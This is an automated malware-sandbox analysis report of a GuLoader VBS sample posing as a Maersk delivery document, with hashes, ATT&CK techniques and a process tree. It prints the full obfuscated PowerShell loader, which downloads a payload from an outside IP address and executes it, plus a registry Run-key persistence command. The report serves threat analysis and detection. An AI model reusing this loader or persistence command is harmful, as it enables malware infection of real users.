guloader | c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
26-06-2024 15:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

MaerskPreawbsamedaydelivery636489384759390200.vbs
Size

187KB
MD5

4948f25f03e8b1e397066530f79d85dd
SHA1

3d8328d506504a47eefaa9425b08a4070ef494e5
SHA256

c34b1264320651723222ea0785511f7f317dd295b38b0c0a23d0ac421a3c1e48
SHA512

d92a357cfdfc0810fc31cd4ad3f35ec62f4860338d626ab4b79e027431fe70556ecc330650b4848803a84077b5fd9b93fd58380bbc2adda8953b2322ea5c06d1
SSDEEP

3072:YmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZ/:Y08GxbKja3+DCbKCvBB/WnHXC/sLJFJw

Score

10^/10

guloader downloader persistence

Malware Config

Signatures

Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader
Blocklisted process makes network request 2 IoCs

Processes:

WScript.exepowershell.exe

flow pid process

3 2436 WScript.exe
6 2716 powershell.exe

flow	pid	process
3	2436	WScript.exe
6	2716	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2297530677-1229052932-2803917579-1000\Software\Microsoft\Windows\CurrentVersion\Run\Dalboens145 = "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\\Liking\\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs

Processes:

wab.exe

pid process

2084 wab.exe
2084 wab.exe
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

Processes:

powershell.exewab.exe

pid process

1216 powershell.exe
2084 wab.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1216 set thread context of 2084 1216 powershell.exe wab.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry key 1 TTPs 1 IoCs

Modify Registry
T1112

Processes:

reg.exe

pid process

2108 reg.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exepowershell.exe

pid process

2716 powershell.exe
1216 powershell.exe
1216 powershell.exe
Suspicious behavior: MapViewOfSection 1 IoCs

Processes:

powershell.exe

pid process

1216 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 2716 powershell.exe
Token: SeDebugPrivilege 1216 powershell.exe

pid	process
2084	wab.exe
2084	wab.exe

pid	process
1216	powershell.exe
2084	wab.exe

description	pid	process	target process
PID 1216 set thread context of 2084	1216	powershell.exe	wab.exe

pid	process
2108	reg.exe

pid	process
2716	powershell.exe
1216	powershell.exe
1216	powershell.exe

pid	process
1216	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2716	powershell.exe
Token: SeDebugPrivilege	1216	powershell.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exepowershell.exewab.execmd.exe

description	pid	process	target process
PID 2436 wrote to memory of 2716	2436	WScript.exe	powershell.exe
PID 2436 wrote to memory of 2716	2436	WScript.exe	powershell.exe
PID 2436 wrote to memory of 2716	2436	WScript.exe	powershell.exe
PID 2716 wrote to memory of 2864	2716	powershell.exe	cmd.exe
PID 2716 wrote to memory of 2864	2716	powershell.exe	cmd.exe
PID 2716 wrote to memory of 2864	2716	powershell.exe	cmd.exe
PID 2716 wrote to memory of 1216	2716	powershell.exe	powershell.exe
PID 2716 wrote to memory of 1216	2716	powershell.exe	powershell.exe
PID 2716 wrote to memory of 1216	2716	powershell.exe	powershell.exe
PID 2716 wrote to memory of 1216	2716	powershell.exe	powershell.exe
PID 1216 wrote to memory of 2648	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 2648	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 2648	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 2648	1216	powershell.exe	cmd.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 1216 wrote to memory of 2084	1216	powershell.exe	wab.exe
PID 2084 wrote to memory of 1444	2084	wab.exe	cmd.exe
PID 2084 wrote to memory of 1444	2084	wab.exe	cmd.exe
PID 2084 wrote to memory of 1444	2084	wab.exe	cmd.exe
PID 2084 wrote to memory of 1444	2084	wab.exe	cmd.exe
PID 1444 wrote to memory of 2108	1444	cmd.exe	reg.exe
PID 1444 wrote to memory of 2108	1444	cmd.exe	reg.exe
PID 1444 wrote to memory of 2108	1444	cmd.exe	reg.exe
PID 1444 wrote to memory of 2108	1444	cmd.exe	reg.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MaerskPreawbsamedaydelivery636489384759390200.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2716

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
3⤵
PID:2864

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201 Remmene251 heneicosane Galocherne Dermenchysis Jydepottens Dunkard bourgeoisiet Planner Madding Enerverings Roughhewing Unbegreased Omplantet Prophesiers Orthosymmetrical Handpick Orthocarpous Kedede121 Tiddlywink Strangling Carbonate Synomosy Odorizing Krigsfrelserne201';$Fothering = 1;Function Fortovsrestauranten($Kinetoscope){$Manfreds=$Kinetoscope.Length-$Fothering;$Tilkbsbillet171='SUBSTRIN';$Tilkbsbillet171+='G';For( $skarnskngtens=1;$skarnskngtens -lt $Manfreds;$skarnskngtens+=2){$Remmene251+=$Kinetoscope.$Tilkbsbillet171.Invoke( $skarnskngtens, $Fothering);}$Remmene251;}function travlhedens($Fructed){ . ($Vaginate) ($Fructed);}$Skrabnser=Fortovsrestauranten 'KMGo,z iBlDlFa,/,5S.A0j ,(MWsiSn.d o w s BN T S1S0L.P0M;C IWNiNnF6S4T;P UxS6R4 ;, ArAvE: 1 2D1S..0D). GHe c,k.oK/ 2U0S1A0 0 1 0S1G ,Fdi,rVe,fMoUxP/T1s2T1 . 0G ';$Precise=Fortovsrestauranten ' U sce.r -CAMgHe nMtO ';$Jydepottens=Fortovsrestauranten ',h,t t.pA: /G/S1M0A3N. 1.9 5C..2D3 7V.I4P3S/.SLt tOtMeSpHi,l lBeHn s 3C4 .Up ccxL ';$Contemplators=Fortovsrestauranten 'w> ';$Vaginate=Fortovsrestauranten ' iFe.xU ';$Liguorian10='Planner';$Cleanout = Fortovsrestauranten 'HeScFh oC %,a pSpPd aTt a,%,\ KPlBi s,t.e r,pNa p iDr eAr,. NTo nU M&,&S eUc,h.oB tS ';travlhedens (Fortovsrestauranten 'F$ g.l,oFb aOlM:PB u fIfLiNsJt.eRrPnEe sP= ( c m.d. / c ,$GC lPeHaSnSoKuTtR) ');travlhedens (Fortovsrestauranten ' $LgSlSo,b.aOlS:VD efr,m e.n.cMh.y.s.iAsB= $GJ yUdseKpMoPtSt,e.nOsI.CsPp.lCiJt (e$ CLoAn.tNermrp.lUaUtCoFr s.). ');travlhedens (Fortovsrestauranten ',[YNSe t .MS e.r.v i c eTPwo i nBtpMLaCnDaigPe r ] :,:pSbe cku.r iDt yPP,r o t,ogcMoPl. F=D [BNseBtF.US.e couNrTiCtIy PSrAo.t o c oRlAT y,pFe,]P: : T lts 1O2R ');$Jydepottens=$Dermenchysis[0];$Velgreren201= (Fortovsrestauranten 'L$tg,lAoSbpaEl,:,N.o n pBa t h,oIl,o,gEiIcBa l.=.NBeAwa-FO b,j.eLc tM ,S yps,tBe mF. N e tP. WSeNbECOl iSeGn,t');$Velgreren201+=$Buffisternes[1];travlhedens ($Velgreren201);travlhedens (Fortovsrestauranten ' $ NTo nFpLaFt h oLl o g i.c aSlW. H esaVdUeErus,[M$BPPr e,cSi sEe ]S=T$ SAk r.a bSn,sUe rH ');$Adolpho=Fortovsrestauranten 'P$ NUoHnDp a t h o lCoDgMi cTaPl .pD o.wCnPl o.aBdKF i,lKe.( $ JCyTdKe p o.tStEe nSs,,B$.S.yDn.oBmFoEs y,) ';$Synomosy=$Buffisternes[0];travlhedens (Fortovsrestauranten ' $AgPl osbVa lM:fPSoUlFeScIa.t,=,( TAecsVtF-.PFaSt.h. C$ S.yHn o m oPs y,)A ');while (!$Polecat) {travlhedens (Fortovsrestauranten 'B$Rg,lIo bAa.l :Ps yMpRhEi lNiSpBh oeb iFaV=V$TtPr,u eG ') ;travlhedens $Adolpho;travlhedens (Fortovsrestauranten ' SHt,a.rFt -lS lBeSe,p C4B ');travlhedens (Fortovsrestauranten 'E$BgAlCo,b aRlr:BP,o l e.c,a,tB= (STkeFs tH-.PAa tIhP V$SS y.nBoSm.o sfy.), ') ;travlhedens (Fortovsrestauranten 'U$CgAlTo bSaBlD:UGsa.lUo,cThTe rSnSe = $ gHlTo bMaMlK:,h eSn.eAiBc o.sMaRn eR+ +P% $ DAe.rSm,e,n,c hByUs i.s .TcBo uSnAtY ') ;$Jydepottens=$Dermenchysis[$Galocherne];}$Osteopath199=345504;$Nonfealties=26095;travlhedens (Fortovsrestauranten 'O$Gg lSo.b.aRlE: M,a dMdTi nTgD =, ,GUe.t,-rCSo n t eDn tp $PS yAnUoUmGoSsFyB ');travlhedens (Fortovsrestauranten 'B$Lg lCoOb.aIl.:.CGoKaDmNiSa b,lSe N=B T[ SUy,s.t eUmC. CNoNn vEe.rFt.]t:S:IFPrUopm.B a s eH6 4 S,t rMi nFg.( $SMPaFdSd.i n gT)M ');travlhedens (Fortovsrestauranten ' $KgMlCo bMaFl,:.UFn.b.e gAr eFaCshe d P=P [,SOy sEt,eLm,.JTCe,xCtM.IEFnEc.o,d,i n g,] :O:.AASbCGIKI,.RG.e tOS,tLrKi.nEgP( $MC,oSa m.i aAb lEeM). ');travlhedens (Fortovsrestauranten '.$UgSl oCb aOlJ:USFi l iLcBoaiAdJe a =f$HUunMb.eEg r.e a.s e dP. s,u b.s.tFr iTn gP(S$,OSsGt e oIpSa.tBhD1.9u9 , $,NEoEn f,e,aVlbtDi e sU) ');travlhedens $Silicoidea;"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1216

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Klisterpapirer.Non && echo t"
4⤵
PID:2648

C:\Program Files (x86)\windows mail\wab.exe
"C:\Program Files (x86)\windows mail\wab.exe"
4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
PID:2084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
5⤵
- Suspicious use of WriteProcessMemory
PID:1444

C:\Windows\SysWOW64\reg.exe
REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Dalboens145" /t REG_EXPAND_SZ /d "%Sarcosporidian% -w 1 $Chefdelegeredes=(Get-ItemProperty -Path 'HKCU:\Liking\').Lycopodiaceae;%Sarcosporidian% ($Chefdelegeredes)"
6⤵
- Adds Run key to start application
- Modifies registry key
PID:2108

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Klisterpapirer.Non
Filesize
483KB

MD5
59d5cd5f7fb93a9089e6bf2621cb1130

SHA1
6b6e8e4fbb0a6eb2e71ef3a10303c8dae87c1b68

SHA256
c79867129c123816cbd012fe333bda1f88627c34790271d3541d15f77c6f566c

SHA512
6ebad0cd265f4ab0bf38fe9855de50ec5d51e6aa503f507d61b51c27dc562f34ff0036420aa4c36127cd5ec056bd1406080c09e937db871b28089ba74de36049

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JV4A8G91QLHE7AWHIECD.temp
Filesize
7KB

MD5
41461877f11d173e4df493553b29df85

SHA1
51bfaed4cefc4f32cd8b2deb40896721448eaaaf

SHA256
40971b6d5d3a4152b35285378b89886b2bb73669a1153a6089c94547d7e211a8

SHA512
4721aa2fffb8a612fd4a4ba716fc0c60eb5133e2286f9a8548193e7eeedebd88ea488a310935d18e67900ba246ff43f146fa4480f4ec895d140fe51129cddee0

Download Submit
memory/1216-33-0x0000000006730000-0x000000000A520000-memory.dmp

Filesize
61.9MB

Download
memory/2084-38-0x0000000001280000-0x0000000005070000-memory.dmp

Filesize
61.9MB

Download
memory/2716-24-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-26-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-27-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-25-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-21-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2716-22-0x000000001B7B0000-0x000000001BA92000-memory.dmp

Filesize
2.9MB

Download
memory/2716-34-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-35-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp

Filesize
4KB

Download
memory/2716-40-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp

Filesize
9.6MB

Download
memory/2716-23-0x00000000026E0000-0x00000000026E8000-memory.dmp

Filesize
32KB

Download